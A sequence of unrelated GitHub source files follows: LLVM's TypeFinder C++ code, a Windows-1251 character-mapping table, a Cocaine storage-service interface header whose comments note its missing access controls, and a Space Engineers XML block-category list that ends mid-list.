if (G.hasInitializer())
incorporateValue(G.getInitializer());
}
// Get types from aliases.
for (const auto &A : M.aliases()) {
incorporateType(A.getType());
if (const Value *Aliasee = A.getAliasee())
incorporateValue(Aliasee);
}
// Get types from functions.
SmallVector<std::pair<unsigned, MDNode *>, 4> MDForInst;
for (const Function &FI : M) {
incorporateType(FI.getType());
for (const Use &U : FI.operands())
incorporateValue(U.get());
// First incorporate the arguments.
for (const auto &A : FI.args())
incorporateValue(&A);
for (const BasicBlock &BB : FI)
for (const Instruction &I : BB) {
// Incorporate the type of the instruction.
incorporateType(I.getType());
// Incorporate non-instruction operand types. (We are incorporating all
// instructions with this loop.)
for (const auto &O : I.operands())
if (&*O && !isa<Instruction>(&*O))
incorporateValue(&*O);
// Incorporate types hiding in metadata.
I.getAllMetadataOtherThanDebugLoc(MDForInst);
for (const auto &MD : MDForInst)
incorporateMDNode(MD.second);
MDForInst.clear();
}
}
for (const auto &NMD : M.named_metadata())
for (const auto *MDOp : NMD.operands())
incorporateMDNode(MDOp);
}
void TypeFinder::clear() {
VisitedConstants.clear();
VisitedTypes.clear();
StructTypes.clear();
}
/// incorporateType - This method adds the type to the list of used structures
/// if it's not in there already.
void TypeFinder::incorporateType(Type *Ty) {
// Check to see if we've already visited this type.
if (!VisitedTypes.insert(Ty).second)
return;
SmallVector<Type *, 4> TypeWorklist;
TypeWorklist.push_back(Ty);
do {
Ty = TypeWorklist.pop_back_val();
// If this is a structure or opaque type, add a name for the type.
if (StructType *STy = dyn_cast<StructType>(Ty))
if (!OnlyNamed || STy->hasName())
StructTypes.push_back(STy);
// Add all unvisited subtypes to worklist for processing
for (Type::subtype_reverse_iterator I = Ty->subtype_rbegin(),
E = Ty->subtype_rend();
I != E; ++I)
if (VisitedTypes.insert(*I).second)
TypeWorklist.push_back(*I);
} while (!TypeWorklist.empty());
}
/// incorporateValue - This method is used to walk operand lists finding types
/// hiding in constant expressions and other operands that won't be walked in
/// other ways. GlobalValues, basic blocks, instructions, and inst operands are
/// all explicitly enumerated.
void TypeFinder::incorporateValue(const Value *V) {
if (const auto *M = dyn_cast<MetadataAsValue>(V)) {
if (const auto *N = dyn_cast<MDNode>(M->getMetadata()))
return incorporateMDNode(N);
if (const auto *MDV = dyn_cast<ValueAsMetadata>(M->getMetadata()))
return incorporateValue(MDV->getValue());
return;
}
if (!isa<Constant>(V) || isa<GlobalValue>(V)) return;
// Already visited?
if (!VisitedConstants.insert(V).second)
return;
// Check this type.
incorporateType(V->getType());
// If this is an instruction, we incorporate it separately.
if (isa<Instruction>(V))
return;
// Look in operands for types.
const User *U = cast<User>(V);
for (const auto &I : U->operands())
incorporateValue(&*I);
}
/// incorporateMDNode - This method is used to walk the operands of an MDNode to
/// find types hiding within.
void TypeFinder::incorporateMDNode(const MDNode *V) {
// Already visited?
if (!VisitedMetadata.insert(V).second)
return;
// Look in operands for types.
for (Metadata *Op : V->operands()) {
if (!Op)
continue;
if (auto *N = dyn_cast<MDNode>(Op)) {
incorporateMDNode(N);
continue;
}
if (auto *C = dyn_cast<ConstantAsMetadata>(Op)) {
incorporateValue(C->getValue());
continue;
}
}
}
| {
"pile_set_name": "Github"
} |
!00 U+0000 .notdef
!01 U+0001 .notdef
!02 U+0002 .notdef
!03 U+0003 .notdef
!04 U+0004 .notdef
!05 U+0005 .notdef
!06 U+0006 .notdef
!07 U+0007 .notdef
!08 U+0008 .notdef
!09 U+0009 .notdef
!0A U+000A .notdef
!0B U+000B .notdef
!0C U+000C .notdef
!0D U+000D .notdef
!0E U+000E .notdef
!0F U+000F .notdef
!10 U+0010 .notdef
!11 U+0011 .notdef
!12 U+0012 .notdef
!13 U+0013 .notdef
!14 U+0014 .notdef
!15 U+0015 .notdef
!16 U+0016 .notdef
!17 U+0017 .notdef
!18 U+0018 .notdef
!19 U+0019 .notdef
!1A U+001A .notdef
!1B U+001B .notdef
!1C U+001C .notdef
!1D U+001D .notdef
!1E U+001E .notdef
!1F U+001F .notdef
!20 U+0020 space
!21 U+0021 exclam
!22 U+0022 quotedbl
!23 U+0023 numbersign
!24 U+0024 dollar
!25 U+0025 percent
!26 U+0026 ampersand
!27 U+0027 quotesingle
!28 U+0028 parenleft
!29 U+0029 parenright
!2A U+002A asterisk
!2B U+002B plus
!2C U+002C comma
!2D U+002D hyphen
!2E U+002E period
!2F U+002F slash
!30 U+0030 zero
!31 U+0031 one
!32 U+0032 two
!33 U+0033 three
!34 U+0034 four
!35 U+0035 five
!36 U+0036 six
!37 U+0037 seven
!38 U+0038 eight
!39 U+0039 nine
!3A U+003A colon
!3B U+003B semicolon
!3C U+003C less
!3D U+003D equal
!3E U+003E greater
!3F U+003F question
!40 U+0040 at
!41 U+0041 A
!42 U+0042 B
!43 U+0043 C
!44 U+0044 D
!45 U+0045 E
!46 U+0046 F
!47 U+0047 G
!48 U+0048 H
!49 U+0049 I
!4A U+004A J
!4B U+004B K
!4C U+004C L
!4D U+004D M
!4E U+004E N
!4F U+004F O
!50 U+0050 P
!51 U+0051 Q
!52 U+0052 R
!53 U+0053 S
!54 U+0054 T
!55 U+0055 U
!56 U+0056 V
!57 U+0057 W
!58 U+0058 X
!59 U+0059 Y
!5A U+005A Z
!5B U+005B bracketleft
!5C U+005C backslash
!5D U+005D bracketright
!5E U+005E asciicircum
!5F U+005F underscore
!60 U+0060 grave
!61 U+0061 a
!62 U+0062 b
!63 U+0063 c
!64 U+0064 d
!65 U+0065 e
!66 U+0066 f
!67 U+0067 g
!68 U+0068 h
!69 U+0069 i
!6A U+006A j
!6B U+006B k
!6C U+006C l
!6D U+006D m
!6E U+006E n
!6F U+006F o
!70 U+0070 p
!71 U+0071 q
!72 U+0072 r
!73 U+0073 s
!74 U+0074 t
!75 U+0075 u
!76 U+0076 v
!77 U+0077 w
!78 U+0078 x
!79 U+0079 y
!7A U+007A z
!7B U+007B braceleft
!7C U+007C bar
!7D U+007D braceright
!7E U+007E asciitilde
!7F U+007F .notdef
!80 U+0402 afii10051
!81 U+0403 afii10052
!82 U+201A quotesinglbase
!83 U+0453 afii10100
!84 U+201E quotedblbase
!85 U+2026 ellipsis
!86 U+2020 dagger
!87 U+2021 daggerdbl
!88 U+20AC Euro
!89 U+2030 perthousand
!8A U+0409 afii10058
!8B U+2039 guilsinglleft
!8C U+040A afii10059
!8D U+040C afii10061
!8E U+040B afii10060
!8F U+040F afii10145
!90 U+0452 afii10099
!91 U+2018 quoteleft
!92 U+2019 quoteright
!93 U+201C quotedblleft
!94 U+201D quotedblright
!95 U+2022 bullet
!96 U+2013 endash
!97 U+2014 emdash
!99 U+2122 trademark
!9A U+0459 afii10106
!9B U+203A guilsinglright
!9C U+045A afii10107
!9D U+045C afii10109
!9E U+045B afii10108
!9F U+045F afii10193
!A0 U+00A0 space
!A1 U+040E afii10062
!A2 U+045E afii10110
!A3 U+0408 afii10057
!A4 U+00A4 currency
!A5 U+0490 afii10050
!A6 U+00A6 brokenbar
!A7 U+00A7 section
!A8 U+0401 afii10023
!A9 U+00A9 copyright
!AA U+0404 afii10053
!AB U+00AB guillemotleft
!AC U+00AC logicalnot
!AD U+00AD hyphen
!AE U+00AE registered
!AF U+0407 afii10056
!B0 U+00B0 degree
!B1 U+00B1 plusminus
!B2 U+0406 afii10055
!B3 U+0456 afii10103
!B4 U+0491 afii10098
!B5 U+00B5 mu
!B6 U+00B6 paragraph
!B7 U+00B7 periodcentered
!B8 U+0451 afii10071
!B9 U+2116 afii61352
!BA U+0454 afii10101
!BB U+00BB guillemotright
!BC U+0458 afii10105
!BD U+0405 afii10054
!BE U+0455 afii10102
!BF U+0457 afii10104
!C0 U+0410 afii10017
!C1 U+0411 afii10018
!C2 U+0412 afii10019
!C3 U+0413 afii10020
!C4 U+0414 afii10021
!C5 U+0415 afii10022
!C6 U+0416 afii10024
!C7 U+0417 afii10025
!C8 U+0418 afii10026
!C9 U+0419 afii10027
!CA U+041A afii10028
!CB U+041B afii10029
!CC U+041C afii10030
!CD U+041D afii10031
!CE U+041E afii10032
!CF U+041F afii10033
!D0 U+0420 afii10034
!D1 U+0421 afii10035
!D2 U+0422 afii10036
!D3 U+0423 afii10037
!D4 U+0424 afii10038
!D5 U+0425 afii10039
!D6 U+0426 afii10040
!D7 U+0427 afii10041
!D8 U+0428 afii10042
!D9 U+0429 afii10043
!DA U+042A afii10044
!DB U+042B afii10045
!DC U+042C afii10046
!DD U+042D afii10047
!DE U+042E afii10048
!DF U+042F afii10049
!E0 U+0430 afii10065
!E1 U+0431 afii10066
!E2 U+0432 afii10067
!E3 U+0433 afii10068
!E4 U+0434 afii10069
!E5 U+0435 afii10070
!E6 U+0436 afii10072
!E7 U+0437 afii10073
!E8 U+0438 afii10074
!E9 U+0439 afii10075
!EA U+043A afii10076
!EB U+043B afii10077
!EC U+043C afii10078
!ED U+043D afii10079
!EE U+043E afii10080
!EF U+043F afii10081
!F0 U+0440 afii10082
!F1 U+0441 afii10083
!F2 U+0442 afii10084
!F3 U+0443 afii10085
!F4 U+0444 afii10086
!F5 U+0445 afii10087
!F6 U+0446 afii10088
!F7 U+0447 afii10089
!F8 U+0448 afii10090
!F9 U+0449 afii10091
!FA U+044A afii10092
!FB U+044B afii10093
!FC U+044C afii10094
!FD U+044D afii10095
!FE U+044E afii10096
!FF U+044F afii10097
| {
"pile_set_name": "Github"
} |
/*
Copyright (c) 2011-2014 Andrey Sibiryov <[email protected]>
Copyright (c) 2011-2014 Other contributors as noted in the AUTHORS file.
This file is part of Cocaine.
Cocaine is free software; you can redistribute it and/or modify
it under the terms of the GNU Lesser General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
Cocaine is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU Lesser General Public License for more details.
You should have received a copy of the GNU Lesser General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
*/
#ifndef COCAINE_STORAGE_SERVICE_INTERFACE_HPP
#define COCAINE_STORAGE_SERVICE_INTERFACE_HPP
#include "cocaine/rpc/protocol.hpp"
#include <vector>
namespace cocaine { namespace io {
struct storage_tag;
// Storage service interface
struct storage {
struct read {
typedef storage_tag tag;
static const char* alias() {
return "read";
}
typedef boost::mpl::list<
/* Key namespace. Currently no ACL checks are performed, so in theory any app can read
any other app data without restrictions. */
std::string,
/* Key. */
std::string
>::type argument_type;
typedef option_of<
/* The stored value. Typically it will be serialized with msgpack, but it's not a strict
requirement. But as there's no way to know the format, try to unpack it anyway. */
std::string
>::tag upstream_type;
};
struct write {
typedef storage_tag tag;
static const char* alias() {
return "write";
}
typedef boost::mpl::list<
/* Key namespace. */
std::string,
/* Key. */
std::string,
/* Value. Typically, it should be serialized with msgpack, so that the future reader could
assume that it can be deserialized safely. */
std::string,
/* Tag list. Imagine these are your indexes. */
optional<std::vector<std::string>>
>::type argument_type;
};
struct remove {
typedef storage_tag tag;
static const char* alias() {
return "remove";
}
typedef boost::mpl::list<
/* Key namespace. Again, due to the lack of ACL checks, any app can obliterate the whole
storage for all the apps in the cluster. Beware. */
std::string,
/* Key. */
std::string
>::type argument_type;
};
struct find {
typedef storage_tag tag;
static const char* alias() {
return "find";
}
typedef boost::mpl::list<
/* Key namespace. A good start point to find all the keys to remove to render the system
useless! Well, one day we'll implement ACLs. */
std::string,
/* Tag list. This is actually your query. */
std::vector<std::string>
>::type argument_type;
typedef option_of<
/* A list of all the keys in the given key namespace. */
std::vector<std::string>
>::tag upstream_type;
};
}; // struct storage
template<>
struct protocol<storage_tag> {
typedef boost::mpl::int_<
1
>::type version;
typedef boost::mpl::list<
storage::read,
storage::write,
storage::remove,
storage::find
>::type messages;
typedef storage scope;
};
}} // namespace cocaine::io
#endif
| {
"pile_set_name": "Github"
} |
<?xml version="1.0" encoding="utf-8"?>
<Definitions xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
<CategoryClasses>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_LargeBlocks</DisplayName>
<Name>LargeBlocks</Name>
<ItemIds>
<string>MotorAdvancedStator/LargeAdvancedStator</string>
<string>TextPanel/LargeLCDPanelWide</string>
<string>TextPanel/LargeLCDPanel</string>
<string>ProgrammableBlock/LargeProgrammableBlock</string>
<string>Assembler/LargeAssembler</string>
<string>AirtightSlideDoor/LargeBlockSlideDoor</string>
<string>BatteryBlock/LargeBlockBatteryBlock</string>
<string>Beacon/LargeBlockBeacon</string>
<string>ButtonPanel/ButtonPanelLarge</string>
<string>CargoContainer/LargeBlockLargeContainer</string>
<string>CargoContainer/LargeBlockSmallContainer</string>
<string>Cockpit/CockpitOpen</string>
<string>Cockpit/LargeBlockCockpit</string>
<string>Cockpit/LargeBlockCockpitSeat</string>
<string>Cockpit/PassengerSeatLarge</string>
<string>Collector/Collector</string>
<string>Conveyor/LargeBlockConveyor</string>
<string>ConveyorSorter/LargeBlockConveyorSorter</string>
<string>ConveyorConnector/ConveyorTube</string>
<string>ConveyorConnector/ConveyorTubeCurved</string>
<string>CubeBlock/ArmorAlpha</string>
<string>CubeBlock/ArmorCenter</string>
<string>CubeBlock/ArmorCorner</string>
<string>CubeBlock/ArmorInvCorner</string>
<string>CubeBlock/ArmorSide</string>
<string>CubeBlock/LargeBlockArmorBlock</string>
<string>CubeBlock/LargeBlockArmorCorner</string>
<string>CubeBlock/LargeBlockArmorCornerInv</string>
<string>CubeBlock/LargeBlockArmorSlope</string>
<string>CubeBlock/LargeBlockArmorRoundedSlope</string>
<string>CubeBlock/LargeBlockArmorRoundedCorner</string>
<string>CubeBlock/LargeBlockArmorAngledSlope</string>
<string>CubeBlock/LargeBlockArmorAngledCorner</string>
<string>CubeBlock/LargeHeavyBlockArmorRoundedSlope</string>
<string>CubeBlock/LargeHeavyBlockArmorRoundedCorner</string>
<string>CubeBlock/LargeHeavyBlockArmorAngledSlope</string>
<string>CubeBlock/LargeHeavyBlockArmorAngledCorner</string>
<string>CubeBlock/LargeBlockArmorRoundSlope</string>
<string>CubeBlock/LargeBlockArmorRoundCorner</string>
<string>CubeBlock/LargeBlockArmorRoundCornerInv</string>
<string>CubeBlock/LargeHeavyBlockArmorRoundSlope</string>
<string>CubeBlock/LargeHeavyBlockArmorRoundCorner</string>
<string>CubeBlock/LargeHeavyBlockArmorRoundCornerInv</string>
<string>CubeBlock/LargeBlockArmorSlope2BaseSmooth</string>
<string>CubeBlock/LargeHeavyBlockArmorRoundSlope</string>
<string>CubeBlock/LargeHeavyBlockArmorRoundCorner</string>
<string>CubeBlock/LargeHeavyBlockArmorRoundCornerInv</string>
<string>CubeBlock/LargeBlockArmorRoundSlope</string>
<string>CubeBlock/LargeBlockArmorSlope2BaseSmooth</string>
<string>CubeBlock/LargeBlockArmorSlope2TipSmooth</string>
<string>CubeBlock/LargeBlockArmorCorner2BaseSmooth</string>
<string>CubeBlock/LargeBlockArmorCorner2TipSmooth</string>
<string>CubeBlock/LargeBlockArmorInvCorner2BaseSmooth</string>
<string>CubeBlock/LargeBlockArmorInvCorner2TipSmooth</string>
<string>CubeBlock/LargeHeavyBlockArmorSlope2BaseSmooth</string>
<string>CubeBlock/LargeHeavyBlockArmorSlope2TipSmooth</string>
<string>CubeBlock/LargeHeavyBlockArmorCorner2BaseSmooth</string>
<string>CubeBlock/LargeHeavyBlockArmorCorner2TipSmooth</string>
<string>CubeBlock/LargeHeavyBlockArmorInvCorner2BaseSmooth</string>
<string>CubeBlock/LargeHeavyBlockArmorInvCorner2TipSmooth</string>
<string>CubeBlock/LargeBlockArmorSlope2Base</string>
<string>CubeBlock/LargeBlockArmorSlope2Tip</string>
<string>CubeBlock/LargeBlockArmorCorner2Base</string>
<string>CubeBlock/LargeBlockArmorCorner2Tip</string>
<string>CubeBlock/LargeBlockArmorInvCorner2Base</string>
<string>CubeBlock/LargeBlockArmorInvCorner2Tip</string>
<string>CubeBlock/LargeHeavyBlockArmorSlope2Base</string>
<string>CubeBlock/LargeHeavyBlockArmorSlope2Tip</string>
<string>CubeBlock/LargeHeavyBlockArmorCorner2Base</string>
<string>CubeBlock/LargeHeavyBlockArmorCorner2Tip</string>
<string>CubeBlock/LargeHeavyBlockArmorInvCorner2Base</string>
<string>CubeBlock/LargeHeavyBlockArmorInvCorner2Tip</string>
<string>CubeBlock/LargeBlockInteriorWall</string>
<string>CubeBlock/LargeCoverWall</string>
<string>CubeBlock/LargeCoverWallHalf</string>
<string>CubeBlock/LargeHeavyBlockArmorBlock</string>
<string>CubeBlock/LargeHeavyBlockArmorCorner</string>
<string>CubeBlock/LargeHeavyBlockArmorCornerInv</string>
<string>CubeBlock/LargeHeavyBlockArmorSlope</string>
<string>CubeBlock/LargeInteriorPillar</string>
<string>CubeBlock/LargeRailStraight</string>
<string>CubeBlock/LargeRamp</string>
<string>CubeBlock/LargeRoundArmor_Corner</string>
<string>CubeBlock/LargeRoundArmor_CornerInv</string>
<string>CubeBlock/LargeRoundArmor_Slope</string>
<string>CubeBlock/LargeStairs</string>
<string>CubeBlock/LargeSteelCatwalk</string>
<string>CubeBlock/LargeSteelCatwalk2Sides</string>
<string>CubeBlock/LargeSteelCatwalkCorner</string>
<string>CubeBlock/LargeSteelCatwalkPlate</string>
<string>CubeBlock/LargeWindowCen</string>
<string>CubeBlock/LargeWindowEdge</string>
<string>CubeBlock/LargeWindowSquare</string>
<string>CubeBlock/Window1x1Face</string>
<string>CubeBlock/Window1x1Flat</string>
<string>CubeBlock/Window1x1FlatInv</string>
<string>CubeBlock/Window1x1Inv</string>
<string>CubeBlock/Window1x1Side</string>
<string>CubeBlock/Window1x1Slope</string>
<string>CubeBlock/Window1x2Face</string>
<string>CubeBlock/Window1x2Flat</string>
<string>CubeBlock/Window1x2FlatInv</string>
<string>CubeBlock/Window1x2Inv</string>
<string>CubeBlock/Window1x2SideLeft</string>
<string>CubeBlock/Window1x2SideRight</string>
<string>CubeBlock/Window1x2Slope</string>
<string>CubeBlock/Window2x3Flat</string>
<string>CubeBlock/Window2x3FlatInv</string>
<string>CubeBlock/Window3x3Flat</string>
<string>CubeBlock/Window3x3FlatInv</string>
<string>Decoy/LargeDecoy</string>
<string>Door/(null)</string>
<string>Drill/LargeBlockDrill</string>
<string>GravityGenerator/(null)</string>
<string>GravityGeneratorSphere/(null)</string>
<string>Gyro/LargeBlockGyro</string>
<string>InteriorLight/SmallLight</string>
<string>InteriorTurret/LargeInteriorTurret</string>
<string>LandingGear/LargeBlockLandingGear</string>
<string>LargeGatlingTurret/(null)</string>
<string>LargeMissileTurret/(null)</string>
<string>MedicalRoom/LargeMedicalRoom</string>
<string>MergeBlock/LargeShipMergeBlock</string>
<string>MotorRotor/LargeRotor</string>
<string>MotorStator/LargeStator</string>
<string>MotorSuspension/Suspension1x1</string>
<string>MotorSuspension/Suspension3x3</string>
<string>MotorSuspension/Suspension5x5</string>
<string>OreDetector/LargeOreDetector</string>
<string>Passage/(null)</string>
<string>PistonBase/LargePistonBase</string>
<string>PistonTop/LargePistonTop</string>
<string>Projector/LargeProjector</string>
<string>RadioAntenna/LargeBlockRadioAntenna</string>
<string>Reactor/LargeBlockLargeGenerator</string>
<string>Reactor/LargeBlockSmallGenerator</string>
<string>Refinery/LargeRefinery</string>
<string>Refinery/Blast Furnace</string>
<string>ReflectorLight/LargeBlockFrontLight</string>
<string>RemoteControl/LargeBlockRemoteControl</string>
<string>SensorBlock/LargeBlockSensor</string>
<string>ShipConnector/Connector</string>
<string>ShipGrinder/LargeShipGrinder</string>
<string>ShipWelder/LargeShipWelder</string>
<string>SmallMissileLauncher/LargeMissileLauncher</string>
<string>SpaceBall/SpaceBallLarge</string>
<string>SolarPanel/LargeBlockSolarPanel</string>
<string>SoundBlock/LargeBlockSoundBlock</string>
<string>TerminalBlock/ControlPanel</string>
<string>TextPanel/LargeTextPanel</string>
<string>CameraBlock/LargeCameraBlock</string>
<string>Thrust/LargeBlockLargeThrust</string>
<string>Thrust/LargeBlockSmallThrust</string>
<string>Thrust/LargeBlockLargeAtmosphericThrust</string>
<string>Thrust/LargeBlockSmallAtmosphericThrust</string>
<string>Thrust/LargeBlockLargeHydrogenThrust</string>
<string>Thrust/LargeBlockSmallHydrogenThrust</string>
<string>VirtualMass/VirtualMassLarge</string>
<string>Warhead/LargeWarhead</string>
<string>Wheel/RealWheel</string>
<string>Wheel/RealWheel1x1</string>
<string>Wheel/RealWheel5x5</string>
<string>Wheel/Wheel1x1</string>
<string>Wheel/Wheel3x3</string>
<string>Wheel/Wheel5x5</string>
<string>TimerBlock/TimerBlockLarge</string>
<string>LaserAntenna/LargeBlockLaserAntenna</string>
<string>OxygenGenerator/(null)</string>
<string>OxygenTank/(null)</string>
<string>OxygenTank/LargeHydrogenTank</string>
<string>AirVent/(null)</string>
<string>AirtightHangarDoor/(null)</string>
<string>OxygenFarm/LargeBlockOxygenFarm</string>
<string>CryoChamber/LargeBlockCryoChamber</string>
<string>UpgradeModule/LargeProductivityModule</string>
<string>UpgradeModule/LargeEffectivenessModule</string>
<string>UpgradeModule/LargeEnergyModule</string>
<string>JumpDrive/LargeJumpDrive</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_SmallBlocks</DisplayName>
<Name>SmallBlocks</Name>
<ItemIds>
<string>MotorAdvancedStator/SmallAdvancedStator</string>
<string>TextPanel/SmallLCDPanelWide</string>
<string>TextPanel/SmallLCDPanel</string>
<string>ProgrammableBlock/LargeProgrammableBlock</string>
<string>SmallMissileLauncherReload/SmallRocketLauncherReload</string>
<string>BatteryBlock/SmallBlockBatteryBlock</string>
<string>Beacon/SmallBlockBeacon</string>
<string>ButtonPanel/ButtonPanelSmall</string>
<string>CargoContainer/SmallBlockLargeContainer</string>
<string>CargoContainer/SmallBlockMediumContainer</string>
<string>CargoContainer/SmallBlockSmallContainer</string>
<string>Cockpit/PassengerSeatSmall</string>
<string>Cockpit/SmallBlockCockpit</string>
<string>Collector/CollectorSmall</string>
<string>Conveyor/SmallBlockConveyor</string>
<string>ConveyorSorter/MediumBlockConveyorSorter</string>
<string>ConveyorSorter/SmallBlockConveyorSorter</string>
<string>Conveyor/SmallShipConveyorHub</string>
<string>ConveyorConnector/ConveyorFrameMedium</string>
<string>ConveyorConnector/ConveyorTubeCurvedMedium</string>
<string>ConveyorConnector/ConveyorTubeMedium</string>
<string>ConveyorConnector/ConveyorTubeSmall</string>
<string>ConveyorConnector/ConveyorTubeSmallCurved</string>
<string>CubeBlock/SmallArmorCenter</string>
<string>CubeBlock/SmallArmorCorner</string>
<string>CubeBlock/SmallArmorInvCorner</string>
<string>CubeBlock/SmallArmorSide</string>
<string>CubeBlock/SmallArmorAlpha</string>
<string>CubeBlock/SmallBlockArmorBlock</string>
<string>CubeBlock/SmallBlockArmorCorner</string>
<string>CubeBlock/SmallBlockArmorCornerInv</string>
<string>CubeBlock/SmallBlockArmorSlope</string>
<string>CubeBlock/SmallHeavyBlockArmorBlock</string>
<string>CubeBlock/SmallHeavyBlockArmorCorner</string>
<string>CubeBlock/SmallHeavyBlockArmorCornerInv</string>
<string>CubeBlock/SmallHeavyBlockArmorSlope</string>
<string>CubeBlock/SmallBlockArmorRoundedSlope</string>
<string>CubeBlock/SmallBlockArmorRoundedCorner</string>
<string>CubeBlock/SmallBlockArmorAngledSlope</string>
<string>CubeBlock/SmallBlockArmorAngledCorner</string>
<string>CubeBlock/SmallHeavyBlockArmorRoundedSlope</string>
<string>CubeBlock/SmallHeavyBlockArmorRoundedCorner</string>
<string>CubeBlock/SmallHeavyBlockArmorAngledSlope</string>
<string>CubeBlock/SmallHeavyBlockArmorAngledCorner</string>
<string>CubeBlock/SmallBlockArmorRoundSlope</string>
<string>CubeBlock/SmallBlockArmorRoundCorner</string>
<string>CubeBlock/SmallBlockArmorRoundCornerInv</string>
<string>CubeBlock/SmallHeavyBlockArmorRoundSlope</string>
<string>CubeBlock/SmallHeavyBlockArmorRoundCorner</string>
<string>CubeBlock/SmallHeavyBlockArmorRoundCornerInv</string>
<string>SmallBlockArmorSlope2BaseSmooth</string>
<string>CubeBlock/SmallHeavyBlockArmorRoundSlope</string>
<string>CubeBlock/SmallHeavyBlockArmorRoundCorner</string>
<string>CubeBlock/SmallHeavyBlockArmorRoundCornerInv</string>
<string>CubeBlock/SmallBlockArmorRoundSlope</string>
<string>CubeBlock/SmallBlockArmorSlope2BaseSmooth</string>
<string>CubeBlock/SmallBlockArmorSlope2TipSmooth</string>
<string>CubeBlock/SmallBlockArmorCorner2BaseSmooth</string>
<string>CubeBlock/SmallBlockArmorCorner2TipSmooth</string>
<string>CubeBlock/SmallBlockArmorInvCorner2BaseSmooth</string>
<string>CubeBlock/SmallBlockArmorInvCorner2TipSmooth</string>
<string>CubeBlock/SmallHeavyBlockArmorSlope2BaseSmooth</string>
<string>CubeBlock/SmallHeavyBlockArmorSlope2TipSmooth</string>
<string>CubeBlock/SmallHeavyBlockArmorCorner2BaseSmooth</string>
<string>CubeBlock/SmallHeavyBlockArmorCorner2TipSmooth</string>
<string>CubeBlock/SmallHeavyBlockArmorInvCorner2BaseSmooth</string>
<string>CubeBlock/SmallHeavyBlockArmorInvCorner2TipSmooth</string>
<string>CubeBlock/SmallBlockArmorSlope2Base</string>
<string>CubeBlock/SmallBlockArmorSlope2Tip</string>
<string>CubeBlock/SmallBlockArmorCorner2Base</string>
<string>CubeBlock/SmallBlockArmorCorner2Tip</string>
<string>CubeBlock/SmallBlockArmorInvCorner2Base</string>
<string>CubeBlock/SmallBlockArmorInvCorner2Tip</string>
<string>CubeBlock/SmallHeavyBlockArmorSlope2Base</string>
<string>CubeBlock/SmallHeavyBlockArmorSlope2Tip</string>
<string>CubeBlock/SmallHeavyBlockArmorCorner2Base</string>
<string>CubeBlock/SmallHeavyBlockArmorCorner2Tip</string>
<string>CubeBlock/SmallHeavyBlockArmorInvCorner2Base</string>
<string>CubeBlock/SmallHeavyBlockArmorInvCorner2Tip</string>
<string>Decoy/SmallDecoy</string>
<string>Drill/SmallBlockDrill</string>
<string>Gyro/SmallBlockGyro</string>
<string>LandingGear/SmallBlockLandingGear</string>
<string>LargeGatlingTurret/SmallGatlingTurret</string>
<string>LargeMissileTurret/SmallMissileTurret</string>
<string>MergeBlock/SmallShipMergeBlock</string>
<string>MotorRotor/SmallRotor</string>
<string>MotorStator/SmallStator</string>
<string>MotorSuspension/SmallSuspension1x1</string>
<string>MotorSuspension/SmallSuspension3x3</string>
<string>MotorSuspension/SmallSuspension5x5</string>
<string>OreDetector/SmallBlockOreDetector</string>
<string>PistonBase/SmallPistonBase</string>
<string>PistonTop/SmallPistonTop</string>
<string>Projector/SmallProjector</string>
<string>RadioAntenna/SmallBlockRadioAntenna</string>
<string>Reactor/SmallBlockLargeGenerator</string>
<string>Reactor/SmallBlockSmallGenerator</string>
<string>ReflectorLight/SmallBlockFrontLight</string>
<string>RemoteControl/SmallBlockRemoteControl</string>
<string>SensorBlock/SmallBlockSensor</string>
<string>ShipConnector/ConnectorMedium</string>
<string>ShipConnector/ConnectorSmall</string>
<string>ShipGrinder/SmallShipGrinder</string>
<string>ShipWelder/SmallShipWelder</string>
<string>SmallGatlingGun/(null)</string>
<string>SmallMissileLauncher/(null)</string>
<string>SolarPanel/SmallBlockSolarPanel</string>
<string>SoundBlock/SmallBlockSoundBlock</string>
<string>SpaceBall/SpaceBallSmall</string>
<string>TerminalBlock/SmallControlPanel</string>
<string>TextPanel/SmallTextPanel</string>
<string>CameraBlock/SmallCameraBlock</string>
<string>Thrust/SmallBlockLargeThrust</string>
<string>Thrust/SmallBlockSmallThrust</string>
<string>Thrust/SmallBlockLargeAtmosphericThrust</string>
<string>Thrust/SmallBlockSmallAtmosphericThrust</string>
<string>Thrust/SmallBlockLargeHydrogenThrust</string>
<string>Thrust/SmallBlockSmallHydrogenThrust</string>
<string>VirtualMass/VirtualMassSmall</string>
<string>Warhead/SmallWarhead</string>
<string>Wheel/SmallRealWheel</string>
<string>Wheel/SmallRealWheel1x1</string>
<string>Wheel/SmallRealWheel5x5</string>
<string>Wheel/SmallWheel1x1</string>
<string>Wheel/SmallWheel3x3</string>
<string>Wheel/SmallWheel5x5</string>
<string>TimerBlock/TimerBlockSmall</string>
<string>Cockpit/DBSmallBlockFighterCockpit</string>
<string>LaserAntenna/SmallBlockLaserAntenna</string>
<string>OxygenTank/OxygenTankSmall</string>
<string>OxygenTank/SmallHydrogenTank</string>
<string>OxygenGenerator/OxygenGeneratorSmall</string>
<string>AirVent/SmallAirVent</string>
</ItemIds>
</Category>
<Category xsi:type="MyObjectBuilder_GuiBlockCategoryDefinition">
<Id>
<TypeId>GuiBlockCategoryDefinition</TypeId>
<SubtypeId/>
</Id>
<DisplayName>DisplayName_Category_ArmorBlocks</DisplayName>
<Name>Armorblocks</Name>
<ItemIds>
<string>LargeBlockArmorBlock</string>
<string>LargeBlockArmorSlope</string>
<string>LargeBlockArmorCorner</string>
<string>LargeBlockArmorCornerInv</string>
<string>LargeHeavyBlockArmorBlock</string>
<string>LargeHeavyBlockArmorSlope</string>
<string>LargeHeavyBlockArmorCorner</string>
<string>LargeHeavyBlockArmorCornerInv</string>
<string>LargeBlockArmorRoundedSlope</string>
<string>LargeBlockArmorRoundedCorner</string>
<string>LargeBlockArmorAngledSlope</string>
<string>LargeBlockArmorAngledCorner</string>
<string>LargeHeavyBlockArmorRoundedSlope</string>
